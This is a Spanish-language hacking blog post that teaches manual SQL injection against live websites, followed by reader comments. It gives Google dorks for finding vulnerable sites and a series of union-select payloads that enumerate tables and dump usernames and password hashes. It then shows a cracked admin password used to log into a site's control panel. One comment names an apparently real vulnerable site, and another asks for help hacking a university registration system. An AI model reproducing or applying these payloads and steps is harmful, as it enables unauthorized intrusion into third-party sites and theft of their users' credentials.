[Tutorial] Inyección SQL (Básica) Bien Explicado.!

Advertencias, estos datos solo se proveen con fines educativos, el mal uso de los mismos es pura responsabilidad de cada uno.
¿QUE ES INYECCION SQL?

Según WikipediaInyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

Según OWASPUn ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.
Bueno antes de empezar, algo que tenemos que saber es que:
La informacion esta en la columna & la columna estan en las tablas y las tablas estan en la base de datos. Solo recuerda eso y después todo se te hara fácil de entender.

¿Que necesitamos para encontrar sitios vulnerables a Inyección Sql?

Necesitamos algunas Dorks
¿Que es una Dork?
Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.

Algunas Dorks:
inurl:index.php?id=
inurl:noticias.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:show.php?id=
inurl:staff_id=


Si colocamos la dork "noticias.php?id=6" en google nos saldran sitios que contienes ese id como pueden ver en la siguiente imagen:
Click a la imagen para agrandarla:


 *Ahora escribimos una de esas dork en google, y chequeamos los sitios aver si son vulnerables a inyeccion sql, para eso solo tenemos que añadir una simple al final de la url del sitio, entonces la url se vera asi http://www.sitio.com/noticias.php?id=6' y si nos da un error similar a este :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/refricom/public_html/lib.php on line 186

Entonces el sitio es vulnerable como se muestra en la siguiente imagen:
Click a la imagen para agrandarla: 
Pero en caso de que no quieran estar googleando aqui les dejo un scaner online que hara su trabajo de buscar los sitios vulnerables: http://hh4ck3r.webcindario.com/sqliscaner.php utilicen el motor de Bing ya que el de google no funciona y se lo quite.
Bueno una vez tengamos un sitio vulnerable, lo siguiente que vamos hacer en buscar cuantas columnas tiene el sitio.

BUSCANDO CUANTAS COLUMNAS TIENE EL SITIO

Para buscar cuantas columnas tiene el sitio solo hay que añadir un simple (order by --) y les vamos aumentando los numeros asi (order by 1--) hasta que consiguemos un error.

www.sitio.com/noticias.php?id=1 order by 1-- (no error)
www.sitio.com/noticias.php?id=1 order by 2-- (no error)
www.sitio.com/noticias.php?id=1 order by 3-- (no error)
www.sitio.com/noticias.php?id=1 order by 4-- (no error)
www.sitio.com/noticias.php?id=1 order by 5-- (no error)
www.sitio.com/noticias.php?id=1 order by 6-- (no error)
www.sitio.com/noticias.php?id=1 order by 7-- (no error)
www.sitio.com/noticias.php?id=1 order by 8-- (no error)
www.sitio.com/noticias.php?id=1 order by 9-- (error)

El error nos sale en la columna 9 porque que no existe, eso significa que la web tiene 8 columnas.
Ahora hagan lo siguiente con la web: les añadimos un "union select" seguido por los numeros de las columnas separado por una coma.
[*]www.sitio.com/noticias.php?id=6 union select 1,2,3,4,5,6,8--
recuerda siempre poner los guiones --
Tambien aveces tenemos que usar algunos otros operadores en ves de el espacio ejemplo:
[*]www.sitio.com/noticias.php?id=6+union+select+1,2,3,4,5,6,7,8--
Tambien puede ser
[*]www.sitio.com/noticias.php?id=6/**/union/**/select/**/1,2,3,4,5,6,7,8--
[*]www.sitio.com/noticias.php?id=6%09union%09select%091,2,3,4,5,6,7,8--
También pueden usar (union select all) en ves de (union select) pero separado por un operador   
Tienes que ponerle un guion ( - ) detras del 6 o cualquier numero que sea o si no, solo cambiar el numero por "null" sin comillas, la url deberia verse asi:
[*]www.site.com/noticias.php?id=-6 union select 1,2,3,4,5,6,7,8--
Debería estar como esta en la siguiente foto:
Click a la imagen para agrandarla:  

CONSIGUIENDO LA VERSIÓN DE MySQL Y EL USER ACTUAL
Bueno para conseguir la vercion de MySQL es facil solo tenemos que añadirle lo siguiente en la columna 2 o 3
[*]www.sitio.com/noticias.php?id=-6 union select 1,version(),3,4,5,6,8--
o si no
[*]www.sitio.com/noticias.php?id=-6 union select 1,@@version,3,4,5,6,8--
Si nos da la version por arriba de 5 es inyectable y si nos da la version por debajo de 5 tenemos que imaginarnos las tablas  
Se vera asi como en la siguiente imagen:
Click a la imagen para agrandarla: 
Como podemos ver en la imagen esta en 5, entonces si es inyectable
.
Ahora vamos a conseguir el user actual:
Para hacer eso es bien fácil, solo tenemos que escribir "user()" sin comillas en un id inyectable.
La cual la url se vera asi: 
[*]www.sitio.com/noticias.php?id=-6 union select 1,user(),3,4,5,6,8-- 
Click a la imagen para agrandarla:

CONSIGUIENDO LAS TABLAS
Bueno para buscar las tablas solo cogemos una columna, ejemplo cogeré la 2 y le añadiré "group_concat(table_name)" sin comillas, o si quieren solo le ponen table_name pero les recomiendo el group_concat(table_name) y despues de todas las columnas (numeros) pondremos "from information_schema.tables" y los guiones por lo que la url se deveria ver asi:

[*]www.sitio.com/noticias.php?id=-6 union select 1,group_concat(table_name),3,4,5,6,8 from information_schema.tables--

El sitio se vera así, arrojándonos todas las tablas incluso info que no estamos buscando.
Click a la imagen para agrandarla: 
Ahora queremos esconder esas otras tablas que no nos interesan, para eso solo hay que agregar  "where table_schema=database()" y los guiones, por lo que la url deberia verse asi:
[*]www.sitio.com/noticias.php?id=-6 union select 1,group_concat(table_name),3,4,5,6,8 from information_schema.tables where table_schema=database()--
La pagina se debería ver así:
Click a la imagen para agrandarla:
Ahí tenemos las tablas que nos interesan incluyendo la del usuario por lo que de seguro ahí debe de estar el user y pass.
Ahora les mostrare como sacar las columnas de esa tabla.
Para hacer eso solo tenemos que enves de poner "group_concat(table_name)" poner "group_concat(column_name)" sin comillas y despues de los números "where information_schema.columns where table_name=usuarios--" 

¿Pero que pasaría si ponemos el nombre de la tabla así normal? 

Nos dara un error por lo que la tenemos que cambiar a hex, entonces asi se tendria que ver la url:

[*]http://www.sitio.com/index.php?id=-6 union select 1,group_concat(column_name,3,4,5,6,8 from information_schema.columns where table_name=usuarios--

Entonces nos arroja un error, como en la siguiente imagen:
Click a la imagen para agrandarla:

Entonces, tenemos que cambiar el nombre de la columna a hex desde el siguiente convertidor:
La tabla a convertir es usuarios, entonces ya convertida la tabla se vera asi en hex "7573756172696f73" sin comillas 
Ahora donde dice where table_name=usuarios-- sustituimos el nombre de usuarios y lo pegamos por el de hex y antes de poner el de hex ponemos "0x" que significa que lo estamos poniendo en hex. 
Por lo que la url se deveria ver asi:
[*]http://www.sitio.com/index.php?id=-6 union select 1,group_concat(column_name),3,4,5,6,8 from information_schema.columns where table_name=0x7573756172696f73--
Resultado:
Click a la imagen para agrandarla:
Como pueden ver consegui estas columnas dentro de la tabla:
id,nombre,usu,pwd,fechareg,valida,sitio 
Por lo que posiblemente el user puede estar en las columnas [usu] y la pass en la columna [pwd].

---OBTENIENDO INFORMACIÓN DE LAS COLUMNAS---

Para este paso solo tenemos que que borrar todo desde las columnas y borrar lo de group_concat(column_name) y solo poner  concat(), entonces la url se vería así:
[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(),3,4,5,6,8 --
Ahora para sacar la info de las columnas usu y pwd tenemos que hacer lo siguiente, como ven en en concat() dentro de los parenticis tenemos que poner las columnas, ejemplo:
concat(usu,0x3a,pwd) bueno creo que ya lo explique para que sirve el 0x , el 0x significa que los estamos pasando a hex y bueno en este  caso estoy pasando a HEX y lo de 3a significa estos dos puntos : así que saldra el user separado por los dos puntos y la pass, ejemplo:
usuario:pass
Pero si quieren que la info sea separado por otra cosa, ejemplo por <---> solo ir a editor hex que les deje y convertirlo a hex y cambiarlo por lo de 0x3a y recuerden siempre poner 0x, entonces después de los números ponemos 'from usuarios' sin comillas por lo que la url se deveria verse asi:
[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(usu,0x3a,pwd),3,4,5,6,8 from usuarios --
Y se preguntan porque puse "from usuarios" pues esta facil como pueden ver esas columnas vienen de la tabla usuarios como pueden ver arriba donde dice consiguiendo la tablas hay pueden ver que estas columnas usu & pwd bienen de esa tabla , por lo que la consulta que estoy haciendo es como si estubiera pidiendo esa informacion de las columnas desde la tabla.
Entonces la pagina quedaria de la siguiente manera:
Click a la imagen para agrandarla:

Pues ahora hay que desencryptar la pass en md5, pero recuerden que algunas veces la pass no estan encryptadas, entonces como dijimos esta encryptada en md5 por lo que tenemos que desencryptarla.

DESENCRYPTANDO PASSWORDS EN MD5

Podemos utilizar algunos decrypters online de md5 como las siguientes paginas:
Y muchas mas que existen en la red, pero en este caso yo usare una tool programada en Perl para desencryptar dicho MD5.
Si desean la Tool, pueden obtener el código desde aquí: http://fpaste.org/8PyU/ solo la compilan y lo lanzan.
Entonces el password a desencryptar es: 9580dbba64a17257183b730068d4f8bc 
Ejecuto la Tool:
 Click a la imagen para agrandarla:
Es fácil de usar, como pueden ver hay dos opciones 1 y 2, si escogen la 1 tendran que poner su hash y el programa mandara su hash a sitios a ver si lo puede crakear y la opcion 2 es para que carguen su propio diccionario y cracken el hash.

En este caso yo escogí la opción 1 y el resultado es el siguiente:
 Click a la imagen para agrandarla:

Según toda la informacion que he obtenido, el user debe de ser 'Administrator' y la pass 'fede86' 
OBTENIENDO EL PANEL DE CONTROL DEL ADMIN
Ya que tenemos el user y pass que son Administrator y fede86 solo nos faltaría encontrar el panel de administración, para eso necesitamos un admin panel finder, pueden usar este finder online:
Obteniendo el link del panel de administración, solo faltaría logearnos con el user Administrator y pass fede86 
Click a la imagen para agrandarla:
& Voila... Ingresamos !

Click a la imagen para agrandarla:
Ahora, solo queda en sus manos lo que quieran hacer con alguna web vulnerable.
Recuerden que este tutorial es para realizar la Inyección SQL manualmente, también existen muchos metodos mas, pueden utilizar algunas herramientas para explotar la misma, pero ya luego estaré hablando sobre eso.
Saludos...
Creditos: CL-Security@BatBoy

6 comentarios:

  1. Buen tuto ....
    gracias por compartir

    ResponderEliminar
  2. al fin un tutorial bien explicado gracias

    ResponderEliminar
  3. exelente tuto gracias por el aporte de conocimieto q das

    ResponderEliminar
  4. buen tuto lastima que no sirve mas para acceder al panel de control y la inyeccion no es mas en la dork www.refrisistemas.com/noticias.php?id=-6 sino en http://www.refrisistemas.com/noticias.php?ID=3 algien pudo acceder al admin panel?

    ResponderEliminar
  5. Gracias buen tutorial execelentes amigos...

    ResponderEliminar
  6. Amigos, yo quisiera saber si uds podrian hackear la página de registro de la UNAH, y poder matricularme en una clase???

    ResponderEliminar

Buscanos en Facebook

Entradas populares

Videos Rcientes

Followers

Visitas

============================================================
contador de visitas
Visitas hasta el dia de Hoy

..::Usuarios Online::..

 

BlackOpHn-T3AM | Blog Oficial |©Copyright 2013-2014 | Powered by Blogger